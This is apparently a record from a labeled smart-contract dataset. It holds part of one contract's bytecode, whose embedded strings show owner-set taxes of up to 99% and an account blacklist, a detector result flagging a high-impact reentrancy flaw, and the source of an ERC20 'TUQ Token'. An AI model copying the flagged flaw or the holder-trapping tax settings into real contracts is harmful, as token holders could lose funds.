156120645750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561207357600090506121fa565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561211e5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561213657600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121e15750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121f957600a54600c81905550600b54600d819055505b5b612206848484846125c1565b50505050565b6000838311158290612254576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161224b9190612f87565b60405180910390fd5b50600083856122639190613d01565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156122d8573d6000803e3d6000fd5b5050565b6000600654821115612323576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231a90613da7565b60405180910390fd5b600061232d6125ee565b9050612342818461261990919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561238157612380612d15565b5b6040519080825280602002602001820160405280156123af5781602001602082028036833780820191505090505b50905030816000815181106123c7576123c661342e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561246e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124929190613ddc565b816001815181106124a6576124a561342e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061250d30601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846117bc565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612571959493929190613f02565b600060405180830381600087803b15801561258b57600080fd5b505af115801561259f573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806125cf576125ce612663565b5b6125da8484846126a6565b806125e8576125e7612871565b5b50505050565b60008060006125fb612885565b91509150612612818361261990919063ffffffff16565b9250505090565b600061265b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506128e7565b905092915050565b6000600c5414801561267757506000600d54145b15612681576126a4565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b6000806000806000806126b88761294a565b95509550955095509550955061271686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129b290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127ab85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129fc90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127f781612a5a565b6128018483612b17565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161285e91906130de565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000683635c9adc5dea0000090506128bb683635c9adc5dea0000060065461261990919063ffffffff16565b8210156128da57600654683635c9adc5dea000009350935050506128e3565b81819350935050505b9091565b6000808311829061292e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129259190612f87565b60405180910390fd5b506000838561293d9190613f8b565b9050809150509392505050565b60008060008060008060008060006129678a600c54600d54612b51565b92509250925060006129776125ee565b9050600080600061298a8e878787612be7565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006129f483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061220c565b905092915050565b6000808284612a0b9190613c19565b905083811015612a50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a4790614008565b60405180910390fd5b8091505092915050565b6000612a646125ee565b90506000612a7b8284612c7090919063ffffffff16565b9050612acf81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129fc90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612b2c826006546129b290919063ffffffff16565b600681905550612b47816007546129fc90919063ffffffff16565b6007819055505050565b600080600080612b7d6064612b6f888a612c7090919063ffffffff16565b61261990919063ffffffff16565b90506000612ba76064612b99888b612c7090919063ffffffff16565b61261990919063ffffffff16565b90506000612bd082612bc2858c6129b290919063ffffffff16565b6129b290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c008589612c7090919063ffffffff16565b90506000612c178689612c7090919063ffffffff16565b90506000612c2e8789612c7090919063ffffffff16565b90506000612c5782612c4985876129b290919063ffffffff16565b6129b290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612c835760009050612ce5565b60008284612c919190614028565b9050828482612ca09190613f8b565b14612ce0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cd7906140f4565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612d4d82612d04565b810181811067ffffffffffffffff82111715612d6c57612d6b612d15565b5b80604052505050565b6000612d7f612ceb565b9050612d8b8282612d44565b919050565b600067ffffffffffffffff821115612dab57612daa612d15565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612dec82612dc1565b9050919050565b612dfc81612de1565b8114612e0757600080fd5b50565b600081359050612e1981612df3565b92915050565b6000612e32612e2d84612d90565b612d75565b90508083825260208201905060208402830185811115612e5557612e54612dbc565b5b835b81811015612e7e5780612e6a8882612e0a565b845260208401935050602081019050612e57565b5050509392505050565b600082601f830112612e9d57612e9c612cff565b5b8135612ead848260208601612e1f565b91505092915050565b600060208284031215612ecc57612ecb612cf5565b5b600082013567ffffffffffffffff811115612eea57612ee9612cfa565b5b612ef684828501612e88565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612f39578082015181840152602081019050612f1e565b83811115612f48576000848401525b50505050565b6000612f5982612eff565b612f638185612f0a565b9350612f73818560208601612f1b565b612f7c81612d04565b840191505092915050565b60006020820190508181036000830152612fa18184612f4e565b905092915050565b6000819050919050565b612fbc81612fa9565b8114612fc757600080fd5b50565b600081359050612fd981612fb3565b92915050565b60008060408385031215612ff657612ff5612cf5565b5b600061300485828601612e0a565b925050602061301585828601612fca565b9150509250929050565b60008115159050919050565b6130348161301f565b82525050565b600060208201905061304f600083018461302b565b92915050565b6000819050919050565b600061307a61307561307084612dc1565b613055565b612dc1565b9050919050565b600061308c8261305f565b9050919050565b600061309e82613081565b9050919050565b6130ae81613093565b82525050565b60006020820190506130c960008301846130a5565b92915050565b6130d881612fa9565b82525050565b60006020820190506130f360008301846130cf565b92915050565b60008060006060848603121561311257613111612cf5565b5b600061312086828701612e0a565b935050602061313186828701612e0a565b925050604061314286828701612fca565b9150509250925092565b600060ff82169050919050565b6131628161314c565b82525050565b600060208201905061317d6000830184613159565b92915050565b61318c81612de1565b82525050565b60006020820190506131a76000830184613183565b92915050565b6000602082840312156131c3576131c2612cf5565b5b60006131d184828501612e0a565b91505092915050565b6131e38161301f565b81146131ee57600080fd5b50565b600081359050613200816131da565b92915050565b60006020828403121561321c5761321b612cf5565b5b600061322a848285016131f1565b91505092915050565b60006020828403121561324957613248612cf5565b5b600061325784828501612fca565b91505092915050565b600080fd5b60008083601f84011261327b5761327a612cff565b5b8235905067ffffffffffffffff81111561329857613297613260565b5b6020830191508360208202830111156132b4576132b3612dbc565b5b9250929050565b6000806000604084860312156132d4576132d3612cf5565b5b600084013567ffffffffffffffff8111156132f2576132f1612cfa565b5b6132fe86828701613265565b93509350506020613311868287016131f1565b9150509250925092565b6000806040838503121561333257613331612cf5565b5b600061334085828601612e0a565b925050602061335185828601612e0a565b9150509250929050565b6000806000806080858703121561337557613374612cf5565b5b600061338387828801612fca565b945050602061339487828801612fca565b93505060406133a587828801612fca565b92505060606133b687828801612fca565b91505092959194509250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006133f8602083612f0a565b9150613403826133c2565b602082019050919050565b60006020820190508181036000830152613427816133eb565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061349782612fa9565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156134ca576134c961345d565b5b600182019050919050565b7f4275792072657761726473206d757374206265206265747765656e203025206160008201527f6e64203425000000000000000000000000000000000000000000000000000000602082015250565b6000613531602583612f0a565b915061353c826134d5565b604082019050919050565b6000602082019050818103600083015261356081613524565b9050919050565b7f42757920746178206d757374206265206265747765656e20302520616e64203960008201527f3925000000000000000000000000000000000000000000000000000000000000602082015250565b60006135c3602283612f0a565b91506135ce82613567565b604082019050919050565b600060208201905081810360008301526135f2816135b6565b9050919050565b7f53656c6c2072657761726473206d757374206265206265747765656e2030252060008201527f616e642034250000000000000000000000000000000000000000000000000000602082015250565b6000613655602683612f0a565b9150613660826135f9565b604082019050919050565b6000602082019050818103600083015261368481613648565b9050919050565b7f53656c6c20746178206d757374206265206265747765656e20302520616e642060008201527f3939250000000000000000000000000000000000000000000000000000000000602082015250565b60006136e7602383612f0a565b91506136f28261368b565b604082019050919050565b60006020820190508181036000830152613716816136da565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613779602683612f0a565b91506137848261371d565b604082019050919050565b600060208201905081810360008301526137a88161376c565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061380b602483612f0a565b9150613816826137af565b604082019050919050565b6000602082019050818103600083015261383a816137fe565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061389d602283612f0a565b91506138a882613841565b604082019050919050565b600060208201905081810360008301526138cc81613890565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061392f602583612f0a565b915061393a826138d3565b604082019050919050565b6000602082019050818103600083015261395e81613922565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006139c1602383612f0a565b91506139cc82613965565b604082019050919050565b600060208201905081810360008301526139f0816139b4565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613a53602983612f0a565b9150613a5e826139f7565b604082019050919050565b60006020820190508181036000830152613a8281613a46565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613ae5603f83612f0a565b9150613af082613a89565b604082019050919050565b60006020820190508181036000830152613b1481613ad8565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613b51601c83612f0a565b9150613b5c82613b1b565b602082019050919050565b60006020820190508181036000830152613b8081613b44565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613be3602383612f0a565b9150613bee82613b87565b604082019050919050565b60006020820190508181036000830152613c1281613bd6565b9050919050565b6000613c2482612fa9565b9150613c2f83612fa9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613c6457613c6361345d565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613ccb602383612f0a565b9150613cd682613c6f565b604082019050919050565b60006020820190508181036000830152613cfa81613cbe565b9050919050565b6000613d0c82612fa9565b9150613d1783612fa9565b925082821015613d2a57613d2961345d565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613d91602a83612f0a565b9150613d9c82613d35565b604082019050919050565b60006020820190508181036000830152613dc081613d84565b9050919050565b600081519050613dd681612df3565b92915050565b600060208284031215613df257613df1612cf5565b5b6000613e0084828501613dc7565b91505092915050565b6000819050919050565b6000613e2e613e29613e2484613e09565b613055565b612fa9565b9050919050565b613e3e81613e13565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613e7981612de1565b82525050565b6000613e8b8383613e70565b60208301905092915050565b6000602082019050919050565b6000613eaf82613e44565b613eb98185613e4f565b9350613ec483613e60565b8060005b83811015613ef5578151613edc8882613e7f565b9750613ee783613e97565b925050600181019050613ec8565b5085935050505092915050565b600060a082019050613f1760008301886130cf565b613f246020830187613e35565b8181036040830152613f368186613ea4565b9050613f456060830185613183565b613f5260808301846130cf565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613f9682612fa9565b9150613fa183612fa9565b925082613fb157613fb0613f5c565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613ff2601b83612f0a565b9150613ffd82613fbc565b602082019050919050565b6000602082019050818103600083015261402181613fe5565b9050919050565b600061403382612fa9565b915061403e83612fa9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156140775761407661345d565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006140de602183612f0a565b91506140e982614082565b604082019050919050565b6000602082019050818103600083015261410d816140d1565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220903b414dbbbdf47ed6116dedb3fedce1c2fde488fc91dc934a2d19a5f7c0aced64736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 8,097 |
0x2e421ccb62ba0a40d15d88102b8b5188c6b6e700
|
pragma solidity ^0.4.21;
// File: contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
// File: contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract EYHToken is StandardToken, Ownable {
// Constants
string public constant name = "TUQ Token";
string public constant symbol = "TUQ";
uint8 public constant decimals = 8;
uint256 public constant INITIAL_SUPPLY = 5000000000 * (10 ** uint256(decimals));
mapping(address => bool) touched;
function EYHToken() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function _transfer(address _from, address _to, uint _value) internal {
require (balances[_from] >= _value); // Check if the sender has enough
require (balances[_to] + _value > balances[_to]); // Check for overflows
balances[_from] = balances[_from].sub(_value); // Subtract from the sender
balances[_to] = balances[_to].add(_value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
function safeWithdrawal(uint _value ) onlyOwner public {
if (_value == 0)
owner.transfer(address(this).balance);
else
owner.transfer(_value);
}
}
|
0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017957806318160ddd146101d357806323b872dd146101fc5780632ff2e9dc14610275578063313ce5671461029e5780635f56b6fe146102cd57806366188463146102f057806370a082311461034a578063715018a6146103975780638da5cb5b146103ac57806395d89b4114610401578063a9059cbb1461048f578063d73dd623146104e9578063dd62ed3e14610543578063f2fde38b146105af575b600080fd5b34156100f657600080fd5b6100fe6105e8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013e578082015181840152602081019050610123565b50505050905090810190601f16801561016b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018457600080fd5b6101b9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610621565b604051808215151515815260200191505060405180910390f35b34156101de57600080fd5b6101e6610713565b6040518082815260200191505060405180910390f35b341561020757600080fd5b61025b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061071d565b604051808215151515815260200191505060405180910390f35b341561028057600080fd5b610288610ad7565b6040518082815260200191505060405180910390f35b34156102a957600080fd5b6102b1610ae9565b604051808260ff1660ff16815260200191505060405180910390f35b34156102d857600080fd5b6102ee6004808035906020019091905050610aee565b005b34156102fb57600080fd5b610330600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c37565b604051808215151515815260200191505060405180910390f35b341561035557600080fd5b610381600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ec8565b6040518082815260200191505060405180910390f35b34156103a257600080fd5b6103aa610f10565b005b34156103b757600080fd5b6103bf611015565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561040c57600080fd5b61041461103b565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610454578082015181840152602081019050610439565b50505050905090810190601f1680156104815780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561049a57600080fd5b6104cf600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611074565b604051808215151515815260200191505060405180910390f35b34156104f457600080fd5b610529600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611293565b604051808215151515815260200191505060405180910390f35b341561054e57600080fd5b610599600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061148f565b6040518082815260200191505060405180910390f35b34156105ba57600080fd5b6105e6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611516565b005b6040805190810160405280600981526020017f54555120546f6b656e000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561075a57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107a757600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561083257600080fd5b610883826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166e90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610916826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109e782600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166e90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600860ff16600a0a64012a05f2000281565b600881565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b4a57600080fd5b6000811415610bd157600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515610bcc57600080fd5b610c34565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610c3357600080fd5b5b50565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610d48576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ddc565b610d5b838261166e90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f6c57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a815481